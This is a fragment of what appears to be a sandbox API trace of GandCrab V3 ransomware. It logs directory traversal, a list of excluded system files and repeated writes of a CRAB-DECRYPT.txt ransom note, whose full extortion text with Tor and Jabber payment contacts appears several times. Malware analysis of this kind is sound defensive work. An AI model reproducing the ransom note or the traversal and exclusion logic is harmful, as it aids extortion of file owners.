password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0109.820] WriteFile (in: hFile=0x3ec, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314bf4c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314bf4c*=0xcce, lpOverlapped=0x0) returned 1
	[0109.820] CloseHandle (hObject=0x3ec) returned 1
	[0109.821] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.821] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\") returned 49
	[0109.821] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\*"
	[0109.821] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\*", lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 0xd80760
	[0109.821] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0109.821] FindNextFileW (in: hFindFile=0xd80760, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0109.821] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0109.821] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0109.821] FindNextFileW (in: hFindFile=0xd80760, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0109.821] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0109.821] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0109.821] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\CRAB-DECRYPT.txt"
	[0109.821] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.822] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\CRAB-DECRYPT.txt") returned 65
	[0109.822] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\CRAB-DECRYPT.txt") returned 65
	[0109.822] lstrlenW (lpString=".txt") returned 4
	[0109.822] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.822] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0109.822] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.822] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\CRAB-DECRYPT.txt") returned 65
	[0109.822] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\CRAB-DECRYPT.txt") returned 65
	[0109.822] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0109.822] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0109.822] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0109.822] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0109.822] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0109.822] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0109.822] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0109.822] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0109.823] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0109.823] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.823] FindNextFileW (in: hFindFile=0xd80760, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0109.823] lstrcmpW (lpString1="Flash Player", lpString2=".") returned 1
	[0109.823] lstrcmpW (lpString1="Flash Player", lpString2="..") returned 1
	[0109.823] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\", lpString2="Flash Player" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player"
	[0109.823] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\"
	[0109.823] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.823] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0109.823] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0109.823] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0109.823] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0109.823] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.823] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0109.824] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0109.824] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0109.824] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0109.824] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0109.824] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0109.824] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.824] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\\\CRAB-DECRYPT.txt") returned 79
	[0109.824] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\macromedia\\flash player\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0109.833] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0109.833] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0109.833] CloseHandle (hObject=0x3f0) returned 1
	[0109.834] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.834] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\") returned 62
	[0109.834] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\*"
	[0109.834] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0xd80b60
	[0109.834] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0109.834] FindNextFileW (in: hFindFile=0xd80b60, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0109.835] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0109.835] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0109.835] FindNextFileW (in: hFindFile=0xd80b60, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0109.835] lstrcmpW (lpString1="#SharedObjects", lpString2=".") returned -1
	[0109.835] lstrcmpW (lpString1="#SharedObjects", lpString2="..") returned -1
	[0109.835] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\", lpString2="#SharedObjects" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects"
	[0109.835] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\"
	[0109.835] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.835] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0109.835] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0109.835] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0109.835] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0109.835] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.836] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aa18, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0109.836] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0109.836] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0109.836] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314a200, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0109.836] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0109.836] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0109.836] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.836] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\\\CRAB-DECRYPT.txt") returned 94
	[0109.836] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\macromedia\\flash player\\#sharedobjects\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0109.837] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0109.837] WriteFile (in: hFile=0x3f4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314a9fc, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314a9fc*=0xcce, lpOverlapped=0x0) returned 1
	[0109.837] CloseHandle (hObject=0x3f4) returned 1
	[0109.838] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.838] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\") returned 77
	[0109.838] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*"
	[0109.838] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*", lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0xd80820
	[0109.838] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0109.838] FindNextFileW (in: hFindFile=0xd80820, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0109.838] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0109.838] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0109.838] FindNextFileW (in: hFindFile=0xd80820, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0109.838] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0109.838] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0109.838] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\CRAB-DECRYPT.txt"
	[0109.838] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.839] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\CRAB-DECRYPT.txt") returned 93
	[0109.839] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\CRAB-DECRYPT.txt") returned 93
	[0109.839] lstrlenW (lpString=".txt") returned 4
	[0109.839] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.839] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0109.839] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.839] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\CRAB-DECRYPT.txt") returned 93
	[0109.839] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\CRAB-DECRYPT.txt") returned 93
	[0109.839] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0109.839] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0109.839] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0109.839] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0109.839] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0109.839] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0109.839] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0109.839] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0109.839] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0109.839] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.840] FindNextFileW (in: hFindFile=0xd80820, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0109.840] lstrcmpW (lpString1="DQQHJZ8C", lpString2=".") returned 1
	[0109.840] lstrcmpW (lpString1="DQQHJZ8C", lpString2="..") returned 1
	[0109.840] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\", lpString2="DQQHJZ8C" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C"
	[0109.840] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\"
	[0109.840] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.840] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0109.840] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0109.840] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0109.840] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0109.840] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.840] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3149f70, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0109.840] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0109.840] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0109.840] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3149758, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0109.840] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0109.840] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0109.840] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.841] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\\\CRAB-DECRYPT.txt") returned 103
	[0109.841] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\macromedia\\flash player\\#sharedobjects\\dqqhjz8c\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0109.841] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0109.841] WriteFile (in: hFile=0x3f8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x3149f54, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x3149f54*=0xcce, lpOverlapped=0x0) returned 1
	[0109.842] CloseHandle (hObject=0x3f8) returned 1
	[0109.842] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.843] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\") returned 86
	[0109.843] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\*"
	[0109.843] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\*", lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 0xd80c20
